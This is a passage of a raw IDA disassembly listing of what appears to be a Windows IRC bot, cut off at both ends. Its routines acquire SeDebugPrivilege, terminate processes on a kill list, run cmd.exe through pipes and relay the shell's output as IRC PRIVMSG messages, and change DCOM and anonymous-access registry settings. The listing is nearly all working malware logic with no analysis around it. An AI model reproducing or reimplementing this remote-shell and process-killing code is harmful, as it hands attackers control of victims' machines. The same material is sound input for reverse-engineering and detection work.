		push	eax		; Source
		lea	eax, [ebp+var_318]
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_wcslen
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB664
		test	eax, eax
		jnz	short loc_419624
		mov	esi, offset byte_4DB06C
		push	offset asc_439D84 ; "-"
		push	esi		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_41964D
; ---------------------------------------------------------------------------


loc_419624:				; CODE XREF: sub_419594+7Aj
		lea	ecx, [ebp+Dest]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_419460
		pop	ecx
		mov	esi, offset byte_4DB06C
		push	eax
		push	offset asc_439D58 ; "-"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h


loc_41964D:				; CODE XREF: sub_419594+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419652	proc near		; CODE XREF: sub_416F1B+45p
					; sub_416F1B+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_4270F8	; GetCurrentProcess
		push	eax
		call	dword_4CB638	; OpenProcessToken
		test	eax, eax
		jnz	short loc_419671
		leave
		retn
; ---------------------------------------------------------------------------


loc_419671:				; CODE XREF: sub_419652+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB610	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4196AF
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419698
		or	[ebp+var_8], 2
		jmp	short loc_41969C
; ---------------------------------------------------------------------------


loc_419698:				; CODE XREF: sub_419652+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969C:				; CODE XREF: sub_419652+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB6C0	; AdjustTokenPrivileges
		mov	esi, eax


loc_4196AF:				; CODE XREF: sub_419652+32j
		push	[ebp+var_4]
		call	ds:dword_427068	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4196BD(int,char *Str,int,char	*Str2,int,int)

sub_4196BD	proc near		; CODE XREF: sub_401ACD+7916p
					; sub_4198EC+74p ...

Dest		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
Str1		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str2		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB674, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BC
		cmp	dword_4CB658, ebx
		jz	loc_4198BC
		cmp	dword_4CB568, ebx
		jz	loc_4198BC
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB674	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AF
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB658	; Process32First
		mov	esi, ds:dword_427068
		test	eax, eax
		jz	loc_4198AA
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB568	; Process32Next
		test	eax, eax
		jz	loc_4198AA
		mov	edi, ds:dword_427084
		mov	ebx, 1F0FFFh


loc_419781:				; CODE XREF: sub_4196BD+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E8
		mov	[ebp+var_4], offset off_439DB0


loc_41978F:				; CODE XREF: sub_4196BD+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+Str1]
		push	eax
		call	ds:dword_427184	; lstrcmpi
		test	eax, eax
		jz	short loc_4197B7
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset aI11r54n4_exe ; "i11r54n4.exe"
		jb	short loc_41978F
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197B7:				; CODE XREF: sub_4196BD+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419890
		push	0
		push	eax
		call	ds:dword_4270F0	; TerminateProcess
		test	eax, eax
		jnz	loc_419890


loc_4197DE:				; CODE XREF: sub_4196BD+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197E8:				; CODE XREF: sub_4196BD+C9j
		cmp	[ebp+Str2], eax
		jnz	loc_41987B
		cmp	[ebp+Str], eax
		jz	loc_419890
		push	[ebp+var_128]
		push	8
		call	dword_4CB674	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983B
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB514	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419841
		lea	eax, [ebp+var_234]
		jmp	short loc_419847
; ---------------------------------------------------------------------------


loc_41983B:				; CODE XREF: sub_4196BD+15Cj
		push	[ebp+var_128]


loc_419841:				; CODE XREF: sub_4196BD+174j
		lea	eax, [ebp+Str1]


loc_419847:				; CODE XREF: sub_4196BD+17Cj
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSD_0	; " %s (%d)"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	1		; int
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4197DE
; ---------------------------------------------------------------------------


loc_41987B:				; CODE XREF: sub_4196BD+12Ej
		push	[ebp+Str2]	; Str2
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C3


loc_419890:				; CODE XREF: sub_4196BD+F5j
					; sub_4196BD+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB568	; Process32Next
		test	eax, eax
		jnz	loc_419781
		xor	ebx, ebx


loc_4198AA:				; CODE XREF: sub_4196BD+9Dj
					; sub_4196BD+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_4198AF:				; CODE XREF: sub_4196BD+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx


loc_4198BC:				; CODE XREF: sub_4196BD+3Aj
					; sub_4196BD+46j ...
		xor	eax, eax


loc_4198BE:				; CODE XREF: sub_4196BD+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C3:				; CODE XREF: sub_4196BD+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	ds:dword_4270F0	; TerminateProcess
		test	eax, eax
		jnz	short loc_4198E7
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_4198BC
; ---------------------------------------------------------------------------


loc_4198E7:				; CODE XREF: sub_4196BD+223j
		push	1
		pop	eax
		jmp	short loc_4198BE
sub_4196BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EC	proc near		; DATA XREF: sub_401ACD+26CEo

Dest		= byte ptr -298h
var_98		= dword	ptr -98h
Str		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset asc_439FB0 ; "-"
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994B
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_409A73
		add	esp, 14h


loc_41994B:				; CODE XREF: sub_4198EC+3Dj
		push	[ebp+var_10]	; int
		lea	eax, [ebp+Str]
		push	esi		; int
		push	esi		; Str2
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_4196BD
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419973
		push	offset unk_439F8C
		jmp	short loc_419978
; ---------------------------------------------------------------------------


loc_419973:				; CODE XREF: sub_4198EC+7Ej
		push	offset asc_439F68 ; "-"


loc_419978:				; CODE XREF: sub_4198EC+85j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AB
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_98]	; int
		call	sub_409A73
		add	esp, 14h


loc_4199AB:				; CODE XREF: sub_4198EC+9Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_4198EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199CA	proc near		; CODE XREF: sub_401ACD+78B4p
					; sub_40B232+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	ds:dword_427084	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FC
		push	0
		push	esi
		call	ds:dword_4270F0	; TerminateProcess
		test	eax, eax
		jnz	short loc_4199FC
		push	esi
		xor	edi, edi
		call	ds:dword_427068	; CloseHandle


loc_4199FC:				; CODE XREF: sub_4199CA+1Aj
					; sub_4199CA+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419A01	proc near		; DATA XREF: WinMain(x,x,x,x)+3CDo
		push	esi
		xor	esi, esi


loc_419A04:				; CODE XREF: sub_419A01+1Ej
		push	1		; int
		push	esi		; int
		push	esi		; Str2
		push	esi		; int
		push	esi		; Str
		push	esi		; int
		call	sub_4196BD
		add	esp, 18h
		push	dword_439DAC
		call	ds:dword_427078	; Sleep
		jmp	short loc_419A04
sub_419A01	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A21	proc near		; CODE XREF: sub_419A51+2Ap
					; sub_419A89+7Ep ...
		mov	eax, dword_4DB8D8
		push	esi
		mov	esi, ds:dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A35
		push	eax
		call	esi	; CloseHandle


loc_419A35:				; CODE XREF: sub_419A21+Fj
		mov	eax, dword_4DB8E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A42
		push	eax
		call	esi	; CloseHandle


loc_419A42:				; CODE XREF: sub_419A21+1Cj
		mov	eax, dword_4DB8D4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4F
		push	eax
		call	esi	; CloseHandle


loc_419A4F:				; CODE XREF: sub_419A21+29j
		pop	esi
		retn
sub_419A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419A51(char *Str)

sub_419A51	proc near		; CODE XREF: sub_401ACD+7605p
					; sub_415C5A+14Ap

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+Str]
		push	dword_4DB8DC
		call	ds:dword_4270E0	; WriteFile
		test	eax, eax
		jnz	short loc_419A84
		call	sub_419A21
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A84:				; CODE XREF: sub_419A51+28j
		push	1
		pop	eax
		leave
		retn
sub_419A51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419A89(int,char *Str1,int)

sub_419A89	proc near		; CODE XREF: sub_419B10+D3p
					; sub_419B10+F2p ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43D808 ; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACC
		push	7D0h
		call	ds:dword_427078	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+Dest]
		push	[ebp+Str1]
		push	offset aPrivmsgSS_1 ; "PRIVMSG %s :%s\r"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_419AE3
; ---------------------------------------------------------------------------


loc_419ACC:				; CODE XREF: sub_419A89+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+Dest]
		push	offset aS_6	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_419AE3:				; CODE XREF: sub_419A89+41j
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		test	eax, eax
		jg	short loc_419B0C
		call	sub_419A21


loc_419B0C:				; CODE XREF: sub_419A89+7Cj
		xor	eax, eax
		leave
		retn
sub_419A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B10	proc near		; DATA XREF: sub_419C65+170o

Dst		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset byte_4DB8E4


loc_419B28:				; CODE XREF: sub_419B10+79j
					; sub_419B10+DBj
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	dword_4DB8D8
		call	ds:dword_42718C	; PeekNamedPipe
		test	eax, eax
		jz	loc_419BF6
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8B
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8D4
		call	ds:dword_427188	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_419B81
		cmp	[ebp+var_8], 103h
		jnz	loc_419C1A


loc_419B81:				; CODE XREF: sub_419B10+62j
		push	0Ah
		call	ds:dword_427078	; Sleep
		jmp	short loc_419B28
; ---------------------------------------------------------------------------


loc_419B8B:				; CODE XREF: sub_419B10+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA2


loc_419B92:				; CODE XREF: sub_419B10+90j
		cmp	[ebp+eax+Dst], 0Ah
		jz	short loc_419BF0
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B92


loc_419BA2:				; CODE XREF: sub_419B10+80j
		mov	[ebp+var_4], esi


loc_419BA5:				; CODE XREF: sub_419B10+E4j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+Dst]
		push	eax
		push	dword_4DB8D8
		call	ds:dword_4270E8	; ReadFile
		test	eax, eax
		jz	short loc_419C42
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	ebx		; Str1
		push	dword_4DB918	; int
		call	sub_419A89
		add	esp, 0Ch
		jmp	loc_419B28
; ---------------------------------------------------------------------------


loc_419BF0:				; CODE XREF: sub_419B10+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BF6:				; CODE XREF: sub_419B10+45j
		push	offset unk_43A038 ; int
		push	ebx		; Str1
		push	dword_4DB918	; int
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	1
		call	ds:dword_4270CC	; ExitThread


loc_419C1A:				; CODE XREF: sub_419B10+6Bj
		call	sub_419A21
		push	offset unk_43A010 ; int
		push	ebx		; Str1
		push	dword_4DB918	; int
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		call	ds:dword_4270CC	; ExitThread


loc_419C42:				; CODE XREF: sub_419B10+C3j
		push	offset unk_439FE0 ; int
		push	ebx		; Str1
		push	dword_4DB918	; int
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		call	ds:dword_4270CC	; ExitThread
sub_419B10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C65	proc near		; CODE XREF: sub_401ACD+2508p
					; sub_415C5A+99p

Dest		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
Dst		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A21
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_4CB710	; SearchPathA
		test	eax, eax
		jz	loc_419D5F
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, ds:dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_419D5F
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_419D5F
		mov	edi, ds:dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8DC
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_4270F4	; DuplicateHandle
		test	eax, eax
		jz	short loc_419D5F
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+Dst]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43D808
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_42706C	; CreateProcessA
		test	eax, eax
		jnz	short loc_419D67


loc_419D5F:				; CODE XREF: sub_419C65+2Fj
					; sub_419C65+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E15
; ---------------------------------------------------------------------------


loc_419D67:				; CODE XREF: sub_419C65+F8j
		push	[ebp+var_4]
		mov	edi, ds:dword_427068
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8D8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8E0, eax
		mov	eax, [ebp+Dst]
		mov	dword_4DB8D4, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB918, eax
		jz	short loc_419DA1
		push	[ebp+arg_4]
		jmp	short loc_419DA2
; ---------------------------------------------------------------------------


loc_419DA1:				; CODE XREF: sub_419C65+135j
		push	ebx		; Format


loc_419DA2:				; CODE XREF: sub_419C65+13Aj
		push	offset byte_4DB8E4 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi		; int
		push	0Ah		; int
		push	offset asc_43A09C ; "-"
		call	sub_40B0F7
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E598[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B10
		push	esi
		push	esi
		call	ds:dword_42707C	; CreateThread
		cmp	eax, esi
		mov	dword_43E5A4[edi], eax
		jnz	short loc_419E13
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_43A068 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_419E13:				; CODE XREF: sub_419C65+185j
		xor	eax, eax


loc_419E15:				; CODE XREF: sub_419C65+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E1A	proc near		; DATA XREF: sub_401ACD+2E0Co

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E61
		call	sub_419E7A
		jmp	short loc_419E66
; ---------------------------------------------------------------------------


loc_419E61:				; CODE XREF: sub_419E1A+3Ej
		call	sub_41A19E


loc_419E66:				; CODE XREF: sub_419E1A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		push	0
		call	ds:dword_4270CC	; ExitThread
sub_419E1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E7A	proc near		; CODE XREF: sub_419E1A+40p

Dest		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Str		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB724, edi
		jnz	loc_419FAC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_419F05
		mov	ax, word_438E18
		mov	word ptr [ebp+Str+2], ax
		lea	eax, [ebp+Str+2]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678	; RegSetValueExA
		test	eax, eax
		jz	short loc_419EE7
		push	offset dword_43A338
		jmp	short loc_419EEC
; ---------------------------------------------------------------------------


loc_419EE7:				; CODE XREF: sub_419E7A+64j
		push	offset asc_43A318 ; "-"


loc_419EEC:				; CODE XREF: sub_419E7A+6Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630	; RegCloseKey
		jmp	short loc_419F18
; ---------------------------------------------------------------------------


loc_419F05:				; CODE XREF: sub_419E7A+36j
		lea	eax, [ebp+Dest]
		push	offset asc_43A2E8 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_419F18:				; CODE XREF: sub_419E7A+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F37
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_419F37:				; CODE XREF: sub_419E7A+A1j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_419FA5
		lea	eax, [ebp+Str]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	dword ptr [ebp+Str], 1
		call	dword_4CB678	; RegSetValueExA
		test	eax, eax
		jz	short loc_419F87
		push	offset dword_43A298
		jmp	short loc_419F8C
; ---------------------------------------------------------------------------


loc_419F87:				; CODE XREF: sub_419E7A+104j
		push	offset asc_43A264 ; "-"


loc_419F8C:				; CODE XREF: sub_419E7A+10Bj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630	; RegCloseKey
		jmp	short loc_419FBF
; ---------------------------------------------------------------------------


loc_419FA5:				; CODE XREF: sub_419E7A+E2j
		push	offset dword_43A228
		jmp	short loc_419FB1
; ---------------------------------------------------------------------------


loc_419FAC:				; CODE XREF: sub_419E7A+13j
		push	offset asc_43A1F8 ; "-"


loc_419FB1:				; CODE XREF: sub_419E7A+130j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_419FBF:				; CODE XREF: sub_419E7A+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDE
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_419FDE:				; CODE XREF: sub_419E7A+148j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, edi
		pop	ecx
		jnz	loc_41A159
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A001:				; CODE XREF: sub_419E7A+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Str]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB598
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09E
		cmp	eax, 0EAh
		jz	short loc_41A09E
		mov	esi, offset off_43A0C0


